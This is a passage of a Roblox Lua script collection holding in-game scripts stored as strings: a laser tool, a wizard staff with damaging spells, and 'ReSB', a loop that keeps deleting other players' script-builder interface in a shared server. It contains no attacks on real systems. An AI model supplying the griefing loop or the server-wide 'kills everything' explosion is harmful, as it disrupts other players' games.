| 3919 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0) | |
| 3920 | elseif key == 'a' then | |
| 3921 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0) | |
| 3922 | end | |
| 3923 | end | |
| 3924 | end | |
| 3925 | end | |
| 3926 | end) | |
| 3927 | ]] | |
| 3928 | ReSB = [[while true do | |
| 3929 | for inx, val in pairs(game.Players:GetPlayers()) do | |
| 3930 | if val:FindFirstChild("PlayerGui") then
| |
| 3931 | if val.PlayerGui:FindFirstChild("SBGUI") then
| |
| 3932 | val.PlayerGui.SBGUI:Remove() | |
| 3933 | end | |
| 3934 | end | |
| 3935 | end | |
| 3936 | wait() | |
| 3937 | end | |
| 3938 | ]] | |
| 3939 | Shoop = [[ | |
| 3940 | me = game.Players.LocalPlayer | |
| 3941 | if script.Parent.className ~= "HopperBin" then | |
| 3942 | h = Instance.new("HopperBin",me.Backpack)
| |
| 3943 | h.Name = "LAZOR" | |
| 3944 | script.Parent = h | |
| 3945 | end | |
| 3946 | bin = script.Parent | |
| 3947 | function prop(part, parent, collide, tran, ref, x, y, z, color) | |
| 3948 | part.Parent = parent | |
| 3949 | part.formFactor = 0 | |
| 3950 | part.CanCollide = collide | |
| 3951 | part.Transparency = tran | |
| 3952 | part.Reflectance = ref | |
| 3953 | part.Size = Vector3.new(x,y,z) | |
| 3954 | part.BrickColor = BrickColor.new(color) | |
| 3955 | part.TopSurface = 0 | |
| 3956 | part.BottomSurface = 0 | |
| 3957 | part:BreakJoints() | |
| 3958 | end | |
| 3959 | function weld(w, p, p0, p1, a, b, c, x, y, z) | |
| 3960 | w.Parent = p | |
| 3961 | w.Part0 = p0 | |
| 3962 | w.Part1 = p1 | |
| 3963 | w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z) | |
| 3964 | end | |
| 3965 | function mesh(mesh, parent, x, y, z, type) | |
| 3966 | mesh.Parent = parent | |
| 3967 | mesh.Scale = Vector3.new(x, y, z) | |
| 3968 | mesh.MeshType = type | |
| 3969 | end | |
| 3970 | using = false | |
| 3971 | sound = Instance.new("Sound",me.Character.Head)
| |
| 3972 | sound.Volume = 0.6 | |
| 3973 | sound.Pitch = 1 | |
| 3974 | sound.SoundId = "rbxasset://sounds/uuhhh.wav" | |
| 3975 | bin.Selected:connect(function(mouse) | |
| 3976 | mouse.Button1Down:connect(function() | |
| 3977 | if using then return end | |
| 3978 | using = true | |
| 3979 | local blagh = Instance.new("Model",me.Character)
| |
| 3980 | blagh.Name = "LAZOR" | |
| 3981 | local paw = mouse.Hit.p | |
| 3982 | local pa1 = Instance.new("Part")
| |
| 3983 | prop(pa1,blagh,false,0,0,1,1,1,"Really black") | |
| 3984 | local m1 = Instance.new("SpecialMesh")
| |
| 3985 | mesh(m1, pa1, 1.07,1,0.3,"Brick") | |
| 3986 | local w1 = Instance.new("Weld")
| |
| 3987 | weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9) | |
| 3988 | local pa2 = pa1:clone() | |
| 3989 | prop(pa2,blagh,false,0,0,1,1,1,"Really black") | |
| 3990 | local w2 = Instance.new("Weld")
| |
| 3991 | weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9) | |
| 3992 | local pa3 = Instance.new("Part")
| |
| 3993 | prop(pa3,blagh,false,0,0,1,1,1,"Really red") | |
| 3994 | local m3 = Instance.new("SpecialMesh")
| |
| 3995 | mesh(m3,pa3,1.3,1.23,0.29,"Brick") | |
| 3996 | local w3 = Instance.new("Weld")
| |
| 3997 | weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9) | |
| 3998 | local pa4 = pa3:clone() | |
| 3999 | prop(pa4,blagh,false,0,0,1,1,1,"Really red") | |
| 4000 | local w4 = Instance.new("Weld")
| |
| 4001 | weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9) | |
| 4002 | local eye1a = Instance.new("Part")
| |
| 4003 | prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white") | |
| 4004 | eye1a.Shape = "Ball" | |
| 4005 | local emesh1 = Instance.new("SpecialMesh")
| |
| 4006 | mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere") | |
| 4007 | local ew = Instance.new("Weld")
| |
| 4008 | weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1) | |
| 4009 | local eye1b = Instance.new("Part")
| |
| 4010 | prop(eye1b,blagh,false,0,0,1,1,1,"Really black") | |
| 4011 | eye1b.Shape = "Ball" | |
| 4012 | local emesh1b = Instance.new("SpecialMesh")
| |
| 4013 | mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere") | |
| 4014 | local ew2 = Instance.new("Weld")
| |
| 4015 | weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2) | |
| 4016 | local eye2a = eye1a:clone() | |
| 4017 | prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white") | |
| 4018 | local ew3 = Instance.new("Weld")
| |
| 4019 | weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1) | |
| 4020 | local eye2b = eye1b:clone() | |
| 4021 | prop(eye2b,blagh,false,0,0,1,1,1,"Really black") | |
| 4022 | local ew5 = Instance.new("Weld")
| |
| 4023 | weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2) | |
| 4024 | local bill = Instance.new("BillboardGui",pa1)
| |
| 4025 | bill.Adornee = bill.Parent | |
| 4026 | bill.Size = UDim2.new(0,150,0,80) | |
| 4027 | local txt = Instance.new("TextLabel",bill)
| |
| 4028 | txt.Size = UDim2.new(0,0,0,0) | |
| 4029 | txt.Position = UDim2.new(0,100,0,-20) | |
| 4030 | txt.Text = "IMA FIRIN' MAH LAZORR!!" | |
| 4031 | txt.FontSize = "Size24" | |
| 4032 | txt.TextColor3 = Color3.new(0,0,0) | |
| 4033 | sound.Volume = 0.6 | |
| 4034 | for i=1, 5 do | |
| 4035 | sound.Pitch = math.random(400,900)/1000 | |
| 4036 | sound:play() | |
| 4037 | wait(0.1) | |
| 4038 | end | |
| 4039 | local bg = Instance.new("BodyGyro",me.Character.Torso)
| |
| 4040 | bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
| 4041 | bg.cframe = CFrame.new(me.Character.Torso.Position, paw) | |
| 4042 | for i=1, 5 do | |
| 4043 | sound.Pitch = math.random(400,900)/1000 | |
| 4044 | sound:play() | |
| 4045 | wait(0.2) | |
| 4046 | end | |
| 4047 | txt.Text = "BLAARGHH!!!!!!" | |
| 4048 | sound.Volume = 0.85 | |
| 4049 | for i=1, 60 do | |
| 4050 | local dist = (me.Character.Head.Position - paw).magnitude | |
| 4051 | if dist >= 600 then | |
| 4052 | dist = 600 | |
| 4053 | end | |
| 4054 | bg.cframe = CFrame.new(me.Character.Torso.Position, paw) | |
| 4055 | sound.Pitch = math.random(550,750)/1000 | |
| 4056 | sound:play() | |
| 4057 | local bewm = Instance.new("Part")
| |
| 4058 | prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan") | |
| 4059 | bewm.Anchored = true | |
| 4060 | local mes = Instance.new("SpecialMesh")
| |
| 4061 | mesh(mes,bewm,1.2,1.2,1,"Brick") | |
| 4062 | bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1) | |
| 4063 | local luck = math.random(1,3) | |
| 4064 | if luck == 1 then | |
| 4065 | local cfr = Instance.new("Part",blagh)
| |
| 4066 | cfr.Size = Vector3.new(1,1,1) | |
| 4067 | cfr.Transparency = 1 | |
| 4068 | cfr.Anchored = true | |
| 4069 | cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2) | |
| 4070 | local ex = Instance.new("Explosion")
| |
| 4071 | ex.Parent = blagh | |
| 4072 | ex.Position = cfr.Position | |
| 4073 | ex.BlastRadius = 9 | |
| 4074 | ex.BlastPressure = 400000 | |
| 4075 | ex.Hit:connect(function(part) | |
| 4076 | if part:GetMass() < 240 then | |
| 4077 | part.Anchored = false | |
| 4078 | part:BreakJoints() | |
| 4079 | end | |
| 4080 | end) | |
| 4081 | end | |
| 4082 | wait() | |
| 4083 | bewm:remove() | |
| 4084 | end | |
| 4085 | blagh:remove() | |
| 4086 | bg:remove() | |
| 4087 | using = false | |
| 4088 | end) | |
| 4089 | end) | |
| 4090 | ]] | |
| 4091 | Wizard = [[ | |
| 4092 | LocalPlayer = game.Players.LocalPlayer | |
| 4093 | Activated = false | |
| 4094 | Equipped = false | |
| 4095 | Regening = false | |
| 4096 | FireBall = false | |
| 4097 | Spikes = false | |
| 4098 | shooting = false | |
| 4099 | Mode = "Shoot" | |
| 4100 | Energy = 100 | |
| 4101 | mouse = LocalPlayer:GetMouse() | |
| 4102 | t = Instance.new("Tool",LocalPlayer.Backpack)
| |
| 4103 | t.Name = 'Wizard staff' | |
| 4104 | t.GripPos = Vector3.new(0,-2,0) | |
| 4105 | p = Instance.new("Part",t)
| |
| 4106 | p.FormFactor = 'Custom' | |
| 4107 | p.Name = 'Handle' | |
| 4108 | p.CanCollide = false | |
| 4109 | m = Instance.new("SpecialMesh",p)
| |
| 4110 | m.MeshId = 'http://www.roblox.com/asset/?id=18434043' | |
| 4111 | m.TextureId = 'http://www.roblox.com/asset/?id=26017177' | |
| 4112 | char = LocalPlayer.Character | |
| 4113 | mouse = LocalPlayer:GetMouse() | |
| 4114 | humanoid = char:findFirstChild("Humanoid")
| |
| 4115 | torso = char:findFirstChild("Torso")
| |
| 4116 | head = char.Head | |
| 4117 | ra = char:findFirstChild("Right Arm")
| |
| 4118 | la = char:findFirstChild("Left Arm")
| |
| 4119 | rl = char:findFirstChild("Right Leg")
| |
| 4120 | ll = char:findFirstChild("Left Leg")
| |
| 4121 | rs = torso:findFirstChild("Right Shoulder")
| |
| 4122 | ls = torso:findFirstChild("Left Shoulder")
| |
| 4123 | rh = torso:findFirstChild("Right Hip")
| |
| 4124 | lh = torso:findFirstChild("Left Hip")
| |
| 4125 | neck = torso:findFirstChild("Neck")
| |
| 4126 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
| |
| 4127 | anim = char:findFirstChild("Animate")
| |
| 4128 | rootpart = char:findFirstChild("HumanoidRootPart")
| |
| 4129 | camera = workspace.CurrentCamera | |
| 4130 | if anim then | |
| 4131 | anim:Destroy() | |
| 4132 | end | |
| 4133 | rm = Instance.new("Motor", torso)
| |
| 4134 | rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
| 4135 | rm.C1 = CFrame.new(0, 0.5, 0) | |
| 4136 | rm.Part0 = torso | |
| 4137 | rm.Part1 = ra | |
| 4138 | lm = Instance.new("Motor", torso)
| |
| 4139 | lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
| 4140 | lm.C1 = CFrame.new(0, 0.5, 0) | |
| 4141 | lm.Part0 = torso | |
| 4142 | lm.Part1 = la | |
| 4143 | rlegm = Instance.new("Motor", torso)
| |
| 4144 | rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
| 4145 | rlegm.C1 = CFrame.new(0, 1, 0) | |
| 4146 | rlegm.Part0 = torso | |
| 4147 | rlegm.Part1 = rl | |
| 4148 | llegm = Instance.new("Motor", torso)
| |
| 4149 | llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
| 4150 | llegm.C1 = CFrame.new(0, 1, 0) | |
| 4151 | llegm.Part0 = torso | |
| 4152 | llegm.Part1 = ll | |
| 4153 | rsc0 = rm.C0 | |
| 4154 | lsc0 = lm.C0 | |
| 4155 | llc0 = llegm.C0 | |
| 4156 | rlc0 = rlegm.C0 | |
| 4157 | neckc0 = neck.C0 | |
| 4158 | rootc0 = rj.C0 | |
| 4159 | PLAYERGUI = LocalPlayer.PlayerGui | |
| 4160 | GUI = Instance.new("ScreenGui",PLAYERGUI)
| |
| 4161 | FRAME = Instance.new("Frame",GUI)
| |
| 4162 | FRAME.Size = UDim2.new(0.5,0,0.05,0) | |
| 4163 | FRAME.BackgroundColor3 = BrickColor.new("Bright blue").Color
| |
| 4164 | FRAME.BorderSizePixel = 0 | |
| 4165 | TEXTLABEL = Instance.new("TextLabel",FRAME)
| |
| 4166 | TEXTLABEL.Size = UDim2.new(1,0,1,0) | |
| 4167 | TEXTLABEL.BackgroundTransparency = 1 | |
| 4168 | TEXTLABEL.Text = "Mana: "..tostring(Energy) | |
| 4169 | TEXTLABEL.BorderSizePixel = 0 | |
| 4170 | TEXTLABEL.Font = 'Legacy' | |
| 4171 | TEXTLABEL.FontSize = 'Size24' | |
| 4172 | FRAME2 = Instance.new("Frame",GUI)
| |
| 4173 | FRAME2.Size = UDim2.new(0.5,0,0.05,0) | |
| 4174 | FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
| |
| 4175 | FRAME2.BorderSizePixel = 0 | |
| 4176 | FRAME2.Position = UDim2.new(0.5,0,0,0) | |
| 4177 | TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
| |
| 4178 | TEXTLABEL2.Size = UDim2.new(1,0,1,0) | |
| 4179 | TEXTLABEL2.BackgroundTransparency = 1 | |
| 4180 | TEXTLABEL2.Text = "Health: "..tostring(humanoid.Health) | |
| 4181 | TEXTLABEL2.BorderSizePixel = 0 | |
| 4182 | TEXTLABEL2.Font = 'Legacy' | |
| 4183 | TEXTLABEL2.FontSize = 'Size24' | |
| 4184 | FRAME3 = Instance.new("Frame",GUI)
| |
| 4185 | FRAME3.Size = UDim2.new(0.5,0,0.05,0) | |
| 4186 | FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
| |
| 4187 | FRAME3.BorderSizePixel = 0 | |
| 4188 | FRAME3.Position = UDim2.new(0.5,0,0.05,0) | |
| 4189 | TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
| |
| 4190 | TEXTLABEL3.Size = UDim2.new(1,0,1,0) | |
| 4191 | TEXTLABEL3.BackgroundTransparency = 1 | |
| 4192 | TEXTLABEL3.Text = "Spell: Star shoot" | |
| 4193 | TEXTLABEL3.BorderSizePixel = 0 | |
| 4194 | TEXTLABEL3.Font = 'Legacy' | |
| 4195 | TEXTLABEL3.FontSize = 'Size24' | |
| 4196 | function __getVelocity(p1,p2,speed) | |
| 4197 | local dis=(p1-p2).magnitude | |
| 4198 | if speed=="dis" then | |
| 4199 | if dis*6>100 then | |
| 4200 | speed=dis*6 | |
| 4201 | else | |
| 4202 | speed=100 | |
| 4203 | end | |
| 4204 | end | |
| 4205 | local x=(p1.x-p2.x)/dis*speed | |
| 4206 | local y=(p1.y-p2.y)/dis*speed | |
| 4207 | local z=(p1.z-p2.z)/dis*speed | |
| 4208 | return Vector3.new(-x,-y+10,-z) | |
| 4209 | end | |
| 4210 | function __onActivated() | |
| 4211 | Activated = true | |
| 4212 | end | |
| 4213 | function __onDeactivated() | |
| 4214 | Activated = false | |
| 4215 | end | |
| 4216 | function __onEquipped(mouse) | |
| 4217 | Equipped = true | |
| 4218 | pcall(function() | |
| 4219 | local a = Instance.new("Explosion",LocalPlayer.Character)
| |
| 4220 | a.Position = LocalPlayer.Character['Right Arm'].Position | |
| 4221 | a.BlastPressure = 0 | |
| 4222 | a.BlastRadius = 20 | |
| 4223 | end) | |
| 4224 | local b = Instance.new("Fire",p)
| |
| 4225 | b.Size = 1 | |
| 4226 | b.Color = Color3.new(0, 255, 255) | |
| 4227 | b.SecondaryColor = Color3.new(255, 255, 0) | |
| 4228 | local w = Instance.new("Motor",char['Right Arm'])
| |
| 4229 | w.Name = 'Wizard staff weld' | |
| 4230 | w.Part0 = char['Right Arm'] | |
| 4231 | w.Part1 = p | |
| 4232 | w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0) | |
| 4233 | end | |
| 4234 | function __onUnequipped(mouse) | |
| 4235 | Equipped = false | |
| 4236 | pcall(function() | |
| 4237 | p.Fire:Destroy() | |
| 4238 | end) | |
| 4239 | pcall(function() | |
| 4240 | char['Right Arm']['Wizard staff weld']:Destroy() | |
| 4241 | end) | |
| 4242 | end | |
| 4243 | function __Shoot() | |
| 4244 | if Regening == true then return end | |
| 4245 | if Energy < 5 then return end | |
| 4246 | shooting = true | |
| 4247 | Energy = Energy - 5 | |
| 4248 | humanoid.WalkSpeed = 0 | |
| 4249 | local speed = math.random(400,500) | |
| 4250 | local bullet = Instance.new("Part",workspace)
| |
| 4251 | bullet.Name = 'Bullet' | |
| 4252 | bullet.TopSurface = 0 | |
| 4253 | bullet.BottomSurface = 0 | |
| 4254 | bullet.FormFactor = 'Custom' | |
| 4255 | bullet.CFrame = p.CFrame | |
| 4256 | bullet.CanCollide = false | |
| 4257 | bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed) | |
| 4258 | local bulletmesh = Instance.new("SpecialMesh",bullet)
| |
| 4259 | bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=24388358' | |
| 4260 | bulletmesh.TextureId = 'http://www.roblox.com/asset/?id=24388341' | |
| 4261 | bulletmesh.VertexColor = Vector3.new(0,0,0) | |
| 4262 | bullet.Touched:connect(function(toucher) | |
| 4263 | if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then | |
| 4264 | for i,v in pairs(toucher.Parent:children()) do | |
| 4265 | if v.ClassName == 'Humanoid' then | |
| 4266 | if v.Health > 100 then | |
| 4267 | v.Health = 100 | |
| 4268 | else | |
| 4269 | v.Health = v.Health - speed/50 | |
| 4270 | end | |
| 4271 | end | |
| 4272 | end | |
| 4273 | bullet:Destroy() | |
| 4274 | end | |
| 4275 | end) | |
| 4276 | wait(1) | |
| 4277 | shooting = false | |
| 4278 | humanoid.WalkSpeed = 16 | |
| 4279 | end | |
| 4280 | function __FireBall() | |
| 4281 | if Regening == true then return end | |
| 4282 | if Energy < 50 then return end | |
| 4283 | if FireBall == true then return end | |
| 4284 | Energy = Energy - 50 | |
| 4285 | local a = Instance.new("Part",workspace)
| |
| 4286 | a.Anchored = true | |
| 4287 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-5) | |
| 4288 | a.FormFactor = 'Custom' | |
| 4289 | a.Size = Vector3.new(5,5,5) | |
| 4290 | Instance.new("SpecialMesh", a).MeshType = 'Sphere'
| |
| 4291 | local b = Instance.new('Decal',a)
| |
| 4292 | b.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4293 | b.Face = 'Right' | |
| 4294 | local c = Instance.new('Decal',a)
| |
| 4295 | c.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4296 | c.Face = 'Left' | |
| 4297 | local d = Instance.new('Decal',a)
| |
| 4298 | d.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4299 | d.Face = 'Top' | |
| 4300 | local e = Instance.new('Decal',a)
| |
| 4301 | e.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4302 | e.Face = 'Front' | |
| 4303 | local f = Instance.new('Decal',a)
| |
| 4304 | f.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4305 | f.Face = 'Back' | |
| 4306 | local g = Instance.new('Decal',a)
| |
| 4307 | g.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
| 4308 | g.Face = 'Bottom' | |
| 4309 | local x = Instance.new('Fire',a)
| |
| 4310 | x.Size = 20 | |
| 4311 | local con = a.Touched:connect(function(what) | |
| 4312 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 4313 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 4314 | what:Destroy() | |
| 4315 | end | |
| 4316 | end | |
| 4317 | end) | |
| 4318 | coroutine.wrap(function() | |
| 4319 | FireBall = true | |
| 4320 | humanoid.WalkSpeed = 0 | |
| 4321 | for i = 0,1,0.05 do | |
| 4322 | a.Mesh.Scale = Vector3.new(i,i,i) | |
| 4323 | wait() | |
| 4324 | end | |
| 4325 | FireBall = false | |
| 4326 | humanoid.WalkSpeed = 16 | |
| 4327 | while wait() do | |
| 4328 | if a == nil or a.Parent ~= workspace then break end | |
| 4329 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
| 4330 | end | |
| 4331 | con:disconnect() | |
| 4332 | end)() | |
| 4333 | coroutine.wrap(function() | |
| 4334 | wait(5) | |
| 4335 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 4336 | a:Destroy() | |
| 4337 | end)() | |
| 4338 | end | |
| 4339 | function __Spikes() | |
| 4340 | if Regening == true then return end | |
| 4341 | if Energy < 25 then return end | |
| 4342 | if Spikes == true then return end | |
| 4343 | Energy = Energy - 25 | |
| 4344 | Spikes = true | |
| 4345 | humanoid.WalkSpeed = 0 | |
| 4346 | for z = 0,6 do | |
| 4347 | local a = Instance.new("Part",workspace)
| |
| 4348 | a.FormFactor = 'Custom' | |
| 4349 | a.Size = Vector3.new(2.4, 3.4, 2.4) | |
| 4350 | a.Anchored = true | |
| 4351 | local b = Instance.new("SpecialMesh",a)
| |
| 4352 | b.MeshId = 'http://www.roblox.com/asset/?id=1033714' | |
| 4353 | b.TextureId = 'http://www.roblox.com/asset?id=39251676' | |
| 4354 | b.VertexColor = Vector3.new(1, 1, 1) | |
| 4355 | b.Scale = Vector3.new(1.2, 5.4, 1.2) | |
| 4356 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2) | |
| 4357 | local con = a.Touched:connect(function(what) | |
| 4358 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 4359 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
| 4360 | for i,v in pairs(what.Parent:children()) do | |
| 4361 | if v.ClassName == 'Humanoid' then | |
| 4362 | if v.Health > 100 then v.Health = 100 end | |
| 4363 | v.Health = v.Health - 10 | |
| 4364 | end | |
| 4365 | end | |
| 4366 | end | |
| 4367 | end | |
| 4368 | end) | |
| 4369 | coroutine.wrap(function() | |
| 4370 | wait(3) | |
| 4371 | a:Destroy() | |
| 4372 | con:disconnect() | |
| 4373 | end)() | |
| 4374 | wait() | |
| 4375 | end | |
| 4376 | humanoid.WalkSpeed = 16 | |
| 4377 | Spikes = false | |
| 4378 | end | |
| 4379 | function __Lightning() | |
| 4380 | if Energy < 40 then return end | |
| 4381 | if Lightning == true then return end | |
| 4382 | if Regening == true then return end | |
| 4383 | humanoid.WalkSpeed = 0 | |
| 4384 | Lightning = true | |
| 4385 | Energy = Energy - 40 | |
| 4386 | local function segment(pos1,pos2,color) | |
| 4387 | local dis=(pos1-pos2).magnitude | |
| 4388 | local p=Instance.new("Part")
| |
| 4389 | p.CanCollide=false | |
| 4390 | p.FormFactor="Custom" | |
| 4391 | p.Size=Vector3.new(.2,.2,dis) | |
| 4392 | p.Anchored=true | |
| 4393 | p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2) | |
| 4394 | p.BrickColor=color | |
| 4395 | return p | |
| 4396 | end | |
| 4397 | target = mouse.Hit | |
| 4398 | height=200 | |
| 4399 | prev=(target*CFrame.new(0,300,0)).p | |
| 4400 | for i=height,30,-50 do | |
| 4401 | cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z) | |
| 4402 | p=segment(prev,cur,BrickColor.new("New Yeller"))
| |
| 4403 | p.Parent=workspace | |
| 4404 | game:service("Debris"):AddItem(p,3)
| |
| 4405 | prev=cur | |
| 4406 | wait() | |
| 4407 | end | |
| 4408 | p=segment(prev,target.p,BrickColor.new("New Yeller"))
| |
| 4409 | p.Parent=workspace | |
| 4410 | game:service("Debris"):AddItem(p,3)
| |
| 4411 | Instance.new("Explosion",workspace).Position=target.p
| |
| 4412 | wait(1) | |
| 4413 | Lightning = false | |
| 4414 | humanoid.WalkSpeed = 16 | |
| 4415 | end | |
| 4416 | function __ManaExplosion() | |
| 4417 | if Energy < 100 then return end | |
| 4418 | if ManaExplosion == true then return end | |
| 4419 | if Regening == true then return end | |
| 4420 | humanoid.WalkSpeed = 0 | |
| 4421 | ManaExplosion = true | |
| 4422 | Energy = Energy - 100 | |
| 4423 | local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
| |
| 4424 | for i = 0,100 do | |
| 4425 | Fire.Size = i | |
| 4426 | wait() | |
| 4427 | end | |
| 4428 | Fire:remove() | |
| 4429 | local a = Instance.new("Explosion", LocalPlayer.Character)
| |
| 4430 | a.Position = LocalPlayer.Character.Torso.Position | |
| 4431 | a.BlastPressure = 1e100 | |
| 4432 | a.BlastRadius = 1e100 | |
| 4433 | ManaExplosion = false | |
| 4434 | humanoid.WalkSpeed = 16 | |
| 4435 | end | |
| 4436 | t.Activated:connect(__onActivated) | |
| 4437 | t.Deactivated:connect(__onDeactivated) | |
| 4438 | t.Equipped:connect(__onEquipped) | |
| 4439 | t.Unequipped:connect(__onUnequipped) | |
| 4440 | coroutine.wrap(function() | |
| 4441 | while wait() do | |
| 4442 | if Activated == true then | |
| 4443 | if Mode == 'Shoot' then | |
| 4444 | __Shoot() | |
| 4445 | elseif Mode == 'FireBall' then | |
| 4446 | __FireBall() | |
| 4447 | elseif Mode == 'Spikes' then | |
| 4448 | __Spikes() | |
| 4449 | elseif Mode == 'Lightning' then | |
| 4450 | __Lightning() | |
| 4451 | elseif Mode == 'ManaExplosion' then | |
| 4452 | __ManaExplosion() | |
| 4453 | end | |
| 4454 | end | |
| 4455 | if Regening == true then | |
| 4456 | Energy = Energy + 5 | |
| 4457 | wait(1) | |
| 4458 | end | |
| 4459 | end | |
| 4460 | end)() | |
| 4461 | mouse.KeyDown:connect(function(key) | |
| 4462 | if key == 'r' then | |
| 4463 | humanoid.WalkSpeed = 0 | |
| 4464 | Regening = true | |
| 4465 | end | |
| 4466 | if key == 'c' then | |
| 4467 | if Mode == 'Shoot' then | |
| 4468 | Mode = 'FireBall' | |
| 4469 | elseif Mode == 'FireBall' then | |
| 4470 | Mode = 'Spikes' | |
| 4471 | elseif Mode == 'Spikes' then | |
| 4472 | Mode = 'Lightning' | |
| 4473 | elseif Mode == 'Lightning' then | |
| 4474 | Mode = 'ManaExplosion' | |
| 4475 | else | |
| 4476 | Mode = 'Shoot' | |
| 4477 | end | |
| 4478 | end | |
| 4479 | end) | |
| 4480 | mouse.KeyUp:connect(function(key) | |
| 4481 | if key == 'r' then | |
| 4482 | humanoid.WalkSpeed = 16 | |
| 4483 | Regening = false | |
| 4484 | end | |
| 4485 | end) | |
| 4486 | count = 0 | |
| 4487 | countspeed = 0.70 | |
| 4488 | coroutine.wrap(function() | |
| 4489 | while wait() do | |
| 4490 | if Energy > 100 then Energy = 100 end | |
| 4491 | if Energy < 0 then Energy = 0 end | |
| 4492 | TEXTLABEL.Text = "Mana: "..tostring(Energy) | |
| 4493 | TEXTLABEL2.Text = "Health: "..tostring(math.floor(humanoid.Health)) | |
| 4494 | if Mode == 'Shoot' then | |
| 4495 | TEXTLABEL3.Text = 'Spell: Star shoot (5 mana)' | |
| 4496 | elseif Mode == 'FireBall' then | |
| 4497 | TEXTLABEL3.Text = 'Spell: Fire ball (50 mana)' | |
| 4498 | elseif Mode == 'Spikes' then | |
| 4499 | TEXTLABEL3.Text = 'Spell: Spikes row (25 mana)' | |
| 4500 | elseif Mode == 'Lightning' then | |
| 4501 | TEXTLABEL3.Text = 'Spell: Lightning (40 mana)' | |
| 4502 | elseif Mode == 'ManaExplosion' then | |
| 4503 | TEXTLABEL3.Text = 'Spell: Mana explosion (100 mana) *KILLS EVERYTHING*' | |
| 4504 | end | |
| 4505 | count = (count % 100) + countspeed | |
| 4506 | angle = math.pi * math.sin(math.pi*2/100*count) | |
| 4507 | if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then | |
| 4508 | countspeed = 8 | |
| 4509 | if Equipped == false then | |
| 4510 | rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
| 4511 | else | |
| 4512 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
| 4513 | end | |
| 4514 | lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
| 4515 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
| 4516 | llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
| 4517 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0) | |
| 4518 | rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0) | |
| 4519 | wait() | |
| 4520 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand | |
| 4521 | if shooting then | |
| 4522 | countspeed = 8 | |
| 4523 | rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25)) | |
| 4524 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg | |
| 4525 | llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg | |
| 4526 | lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm | |
| 4527 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm | |
| 4528 | elseif Regening == true then | |
